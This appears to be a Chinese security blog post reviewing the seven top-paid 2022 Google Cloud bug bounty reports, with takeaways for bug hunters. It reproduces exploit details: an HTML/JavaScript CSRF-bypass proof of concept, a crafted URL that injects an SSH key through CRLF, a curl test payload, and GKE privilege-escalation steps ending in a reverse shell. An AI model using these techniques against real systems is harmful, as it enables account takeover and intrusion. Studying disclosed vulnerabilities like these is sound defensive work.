前言：
Google安全团队近期发布了2022年GoogleCloud VRP中赏金top7的漏洞
https://security.googleblog.com/2023/06/google-cloud-awards-313337-in-2022-vrp.html?continueFlag=8d8e2a2b6ab56e4030b5b194ac3f4922
本人根据google官方给出的YouTube视频进行了学习,并且根据个人理解对其中的案例细节进行了解释以及思路总结，本文配图均来源于google官方视频与writeup
能力水平有限，如有谬误，欢迎大家指出
Google官方视频：https://youtu.be/uOvizKc1WZY
现将TOP 7漏洞案例学习与思考归纳总结如下
7th Prize: Command injection in Cloud Shell - ￥13337
这个站说来惭愧，笔者曾经挖Google VRP的时候也挖过，是一个基于CSRF的command Injection，触发起来比较困难，google安全团队认为这比较鸡肋，因此没有收取漏洞
但是老外却搞到了一个真正的command injection。。让我羡慕不已
在GoogleCloud的web editor中，内置了shell，而url中的project参数似乎总会出现在python config脚本中，并且会引发脚本执行
如上图所示，单引号触发了一个python console error
那么接下来事情就很简单了，根据目标的闭合feature构造一个oneline命令执行即可
漏洞发掘的思考点：
永远不要放过任何一个用户可控的参数点~
6th Prize: A Few Bugs in the Google Cloud Shell - ￥13337
漏洞发现者找到了一个基于文件上传的XSS
但是这样触发只是一个self xss，并不符合VRP的收录规则，但是漏洞发现者又通过非常Cool的姿势，发现了此处的CSRF
在本处要实现文件上传处的CSRF，需要获得一个随机的id，但是很显然，这个id并不容易猜解获取
于是漏洞发掘者构造了一个POC，在拖拽图片时可以获取到目标带有这个随机id的文件上传url，从而实现CSRF，进而触发XSS
如下图所示，拖拽这个image，可以获取到这个随机id
进而完成获取id->文件上传csrf->实现XSS的攻击链
不得不说，这一整套利用链非常amazing
漏洞发掘的思考点：
1.Self XSS结合CSRF变废为宝
2.在某些存在unique id的情况下，可考虑通过一些类似于经典的"click hijacking"方式，获取看似攻击者无法获取到的讯息
5th Prize: Kubernetes Privilege Escalation: Excessive Permissions in Popular Platforms - $17,311
这个漏洞比较特殊，与其说叫漏洞，不如说叫安全白皮书~
白皮书并没有直接描述漏洞或者安全问题，但是其揭示了诸多提供Kubernetes服务的公有云厂商在pods失陷后与特权下的"DaemonSets"容器产生的权限提升的火花，并给出了kubernetes权限配置安全合理性的检测工具
Google认为这对于Kubernetes生态有所裨益，因此给出了$17311的奖励
白皮书链接：
https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms
漏洞发掘的思考点：
对于一个项目安全生态有所裨益的产出，往往比单点漏洞拥有更高的普适性价值
4th Prize: Client-Side SSRF to Google Cloud Project Takeover - $31,311
挖掘这个漏洞的二人team同样是3th,2th奖励的发现者，可谓是神雕侠侣了。。。
漏洞发掘者在pentest中发现了如下的URL：
感觉这个点可能存在SSRF后使用了自己的域名进行测试
但是并不奏效，于是用了一个简单的tips bypass了限制
接下来作者服务器的日志显示，它收到了header中带有Authorization token的请求。
随后验证了Authorization token，发现确实有云平台权限~
至此实现权限接管
google随后修复了这个漏洞，只允许这个点请求*.google.com，但是漏洞发掘者找到了Bypass的方法
Bypass
漏洞发掘者随后发现了一个谷歌的子域服务 https://feedburner.google.com.
该服务允许可以管理域名下的RSS提要。类似于RSS Proxy一样。
随后漏洞挖掘者通过以下方法视图构建OpenRedirect
导航至 https://feedburner.google.com--> 创建代理 --> 输入https://attacker.com/rss.xml使用“自定义 URL”--> 创建
复制的 URL 的格式如下：https://feeds.feedburner.com/{CUSTOM}/{ID}
创建代理后，单击三个点 --> 停用 --> 确认
现在，受害者访问https://feeds.feedburner.com/{CUSTOM}/{ID}将会实现一个OpenRedirect
但是并不是一帆风顺的
访问https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID}
无法实现SSRF，因为Google实施了CSRF保护。
随后漏洞发掘者注意到Jupyter notebook是部署在tornado上的，而tornado有一种绕过csrf校验的方法：
于是漏洞挖掘者在googleusercontent.com部署了一个jupyter
并且修改了Jupyter笔记本的索引页(位于/opt/conda/share/ Jupyter /lab/static下)
由于已经成功地获得了javascript的执行权，我们现在可以设置任意的CSRF令牌并绕过保护。
<!DOCTYPE html>
<html lang="en">
<body>
<script>
var base_domain = document.domain.substr(document.domain.indexOf('.'));
document.cookie='_xsrf=1;Domain='+base_domain;
fetch("https://{VICTIM-INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID}?_xsrf=1",{credentials:"include",mode:"no-cors"})
</script>
</body>
</html>
进而获取Authorization header，漏洞利用完成~
漏洞发掘的思考点：
这个漏洞是我认为bypass最为精妙的一个，学到的有以下几点：
1.tornado的csrf校验bypass feature
2.当厂商在SSRF点限制了自己的根域名后，可以考虑从子域的业务点入手挖掘一个OpenRedirect，在支持302跳转的SSRF点下往往会产生意想不到的效果
3rd Prize: Bypassing Authorization in Cloud Workstations - $31337
这个漏洞比较麻烦，是一个Outh层面的漏洞，Outh中经典的往往是控制redirect url实现凭据劫持
但是这个点稍微多了点步骤，要先获取到受害者outh的url再进行构造才能实现凭据劫持，因此直接给出作者的Attack Chain供大家参考
漏洞发掘的思考点：
1.多多留意一些弱加密的参数值，往往隐藏着不为人知的秘密
2.Outh漏洞中openRedirect导致的凭据劫持不一定就是写脸上的redirectUrl可控~尽量去发掘可控的redirect参数点，针对实战情况再进行bypass
2nd Prize: SSH Key Injection on GCE - $73,331
漏洞发掘者在google cloud的Google Compute Engine（GCE）的instance添加SSH Key时，使用了形如
curl https://stazot.com
的payload
但是却出现了如下图所示的奇葩输出
漏洞发掘者瞬间天灵盖炸开，原来冒号:会被当成这个添加SSH Key功能点的分隔符号。
冒号前的作为username，冒号后作为ssh key，并且这一切都是通过get方式进行传参的
因此，漏洞发掘者准备构造URL，让受害者打开恶意链接会将攻击者的用户名和 SSH 密钥添加到他们的计算实例中。
以下 URL attacker:{URL-ENCODED-SSH-PUBLIC-KEY} 作为Exploit处：
https://ssh.cloud.google.com/v2/ssh/projects/{PROJECT-NAME}/zones/{INSTANCE-ZONE}/instances/{INSTANCE-NAME}?newLinuxUsername=attacker:{URL-ENCODED-SSH-PUBLIC-KEY}
以受害者身份打开链接 - 但是，它没有奏效。
原因是添加的SSH密钥随后附加了Google在后端自动生成的SSH密钥。
为了解决这个问题，漏洞发掘者在payload后附加了换行符%0d%0a返回字符：
https://ssh.cloud.google.com/v2/ssh/projects/{PROJECT-NAME}/zones/{INSTANCE-ZONE}/instances/{INSTANCE-NAME}?newLinuxUsername=attacker:{URL-ENCODED-SSH-PUBLIC-KEY}%0d%0a
成功绕过了限制
至此实现了一个奇葩情况下产生奇迹的RCE
漏洞发掘的思考点：
1.测试公有云厂商时，多多留意带有高危操作的功能点，诸如实例用户添加，SSH Key添加的功能点，一但出洞，便是惊涛骇浪
2.在某些情况下可尝试使用%0d%0a等control chars毙掉程序后端自动生成的内容，让我们的漏洞触发点构造与利用更加一帆风顺
1st Prize: Privilege escalations in GKE Autopilot - $133,337
终于来到了top1的vuln（https://unit42.paloaltonetworks.com/gke-autopilot-vulnerabilities/）
在这个漏洞中，漏洞发掘者挖掘了数条攻击路径，这些路径允许有权在 Autopilot 集群中创建 Pod 的攻击者提升权限并破坏底层节点虚拟机。
Autopilot架构的简化图如图。
Autopilot 特有的组件以绿色显示，并显示与上面列表中的角色对应的数字。
与 GKE Standard 不同，其中节点显示为计算引擎虚拟机，Autopilot 节点完全由 Google 管理，因此显示为绿色。
Autopilot内置了安全策略防止运行Privileged Container，同时阻止用户访问由 Google 管理的群集组件（如节点）; 防止用户访问由 Google 管理的群集组件（如节点），以防止容器逃逸和其他攻击面
如作者给出的图所示
但是作者依然给出了一些可能的攻击面
GoogleCloud依靠 Autopilot 的策略来防止有风险的配置。
如果攻击者可以以某种方式绕过该策略，他们可能会通过客户期望被阻止的方法（例如部署特权容器）来提升权限。
Autopilot 管理员没有完全特权，受内置策略的限制，无法访问节点和某些特权 Kubernetes API。
如果攻击者可以绕过Autopilot的策略，他们可能会获得比管理员更高的权限，从而为隐形后门打开大门。
第一条攻击链
Autopilot 禁止可能允许容器逃逸的 Pod 配置。为了支持一些特殊的node访问的附加组件，Autopilot 创建了一个允许列表workloads的概念。如果容器与允许列出的workloads匹配，则允许它使用允许列表工作负载配置中指定的特权功能。漏洞挖掘者测试时，唯一列入允许列表的workloads是 Datadog agent
下面是引起漏洞发掘者注意的其中一个 Datadog agent的allowListedworkLoads配置。如果容器指定了列出的命令和映像，则允许它在只读卷中装载列出的主机路径。
这里的安全问题是校验不充分。仅检查命令和映像不足以确保容器运行 Datadog 代码。
使用以下 PodSpec，容器可以在运行攻击者控制的代码时伪装成 Datadog agent，并滥用暴露的主机卷进行破坏。
在下面作者给出的视频中，恶意用户部署了一个伪装成 Datadog 代理的容器。Pod 通过以下步骤接管其底层节点：
滥用挂载的 containerd socket来创建挂载主机文件系统的特权容器。 让该特权容器安装一个 systemd 服务，该服务会让node派生一个反向shell给攻击者
https://youtu.be/0cZJklJxTQk
第二条攻击链
第二条攻击路径涉及的概念较多
简而言之的话，漏洞发掘者开发了一个 Python 工具，可将 Pod 的服务帐户映射到它们的 Kubernetes 权限（即角色和集群角色）名为sa-hunter 。
通过该工具，漏洞挖掘者发现默认安装了两个功能强大的 kube-system pod：stackdriver-metadata-agent-cluster-level 和 metrics-server。两个 Pod 都可以更新现有部署。
乍一看，此权限可能看起来是无辜的，但足以权限提升到cluster admin。同时这些 Pod 也默认部署在GKE Standard中，这使得以下权限提升技术与所有 GKE 集群（GKE clusters, Standard and Autopilot）相关。
后续获取并攻击服务账户token的攻击路径作者原文描述如下
kube-system namespace提供了许多预安装的、功能极其强大的服务帐户可选择。clusterrole-aggregation-controller (CRAC） 服务帐户可能是主要候选帐户，因为它可以向现有群集角色添加任意权限。
获取 CRAC 令牌后，攻击者可以更新绑定到 CRAC 的集群角色以拥有所有权限。此时，攻击者实际上是集群管理员，并且不受 Autopilot 策略的约束
作者给出的POC视频如下：
https://youtu.be/4Dddhk1QclY
漏洞发掘的思考点：
1.测试集群服务时，多多关注集群服务中允许以特权模式运行的POD
2.多多留意集群服务中preinstalled service的权限误配
后言：
通过以上七个精妙的漏洞的学习与思考总结，不由得慨叹：老外顶级的漏洞挖掘者功底之扎实，思路之风骚，我们还有很长的路要走
博采天下众长，攘天下之学识为我所用——是新时代优秀hacker与geeker的能力标配
Reference:
All case in :
https://security.googleblog.com/2023/06/google-cloud-awards-313337-in-2022-vrp.html?continueFlag=8d8e2a2b6ab56e4030b5b194ac3f4922
推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论，来说两句吧...